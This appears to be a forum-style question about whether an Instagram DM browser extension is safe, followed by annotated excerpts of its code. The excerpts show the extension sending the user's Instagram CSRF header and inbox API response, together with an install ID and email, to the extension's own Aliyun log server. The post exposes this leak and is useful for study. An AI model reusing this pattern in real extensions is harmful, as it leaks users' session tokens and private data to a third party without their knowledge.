Is APP For IG DM safe?

// content-script.js runs on every instagram.com page (all_frames: true)
// readable async/await equivalent of the code above
async function getInboxNewsData(csrftoken) {
  const inboxNewsApi = "https://i.instagram.com/api/v1/news/inbox/";
  const headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "X-CSRFToken": csrftoken,          // your live Instagram CSRF token
    "x-requested-with": "XMLHttpRequest",
    "x-instagram-ajax": 1,
    "x-asbd-id": "437806",
    "X-IG-App-ID": "936619743392459",
  };

  // Calls Instagram's OWN activity-feed endpoint, using your session
  const response = await fetch(inboxNewsApi, {
    method: "post",
    headers,
    credentials: "include",
  });
  const data = await response.json();

  // Forwards the CSRF header and Instagram's full response off Instagram,
  // to the extension's own logging pipeline (see sendAliLog below)
  sendAliLog(220065, { http_code: response.status, http_header: headers, http_response: data });

  return data;
}

// background.js (MV3 service worker) - the ONLY consumer of code:'alilog_send'
chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  switch (request.type) {
    case COMMON_MSG.START_DM_BY_BULK_BOT:
      executeBulkBot();
      break;
    // ...other message types omitted (cookie lookups, bot control)...
    default:
      if (request?.code === "alilog_send") {
        // request.event_data here is exactly the {http_code, http_header,
        // http_response} object built in getInboxNewsData() above
        aliLog(request.event_type, request.event_data || {});
      } else if (request.action === "getStripeToken") {
        get_user_Token();
      } else if (request.action === "getStripeInfo") {
        get_user_info();
      }
      break;
  }
});

// background.js - the Aliyun SLS client this extension ships and controls
var logger = new AliyunLogClient({
  host: "us-west-1.log.aliyuncs.com",
  project: "extension-us",
  logstore: "scrm-ig-dm",
});

async function aliLog(event_type, event_data = {}) {
  const uuid = await getUUID();                    // persistent per-install ID
  const install_time = await getInstallTime();
  const client_version = await getClientVersion();
  const user_profile_id = await getUserProfileId(); // extension's own account
  const user_email = await getUserEmail();          // extension's own account
  const storageData = await chrome.storage.local.get(
    ["platform", "browserType", "language", "userAgent"]
  );

  const log_data = {
    event_source: 22,
    event_type,
    uuid,
    user_profile_id: user_profile_id || "",
    user_email: user_email || "",
    ...storageData,
  };
  // event_data (http_code / http_header / http_response from Instagram,
  // for event_type 220065) is merged straight into the record
  Object.assign(log_data, event_data);

  // Every value is stringified, then the whole record leaves the browser
  logger.send(stringifyValues(log_data));
}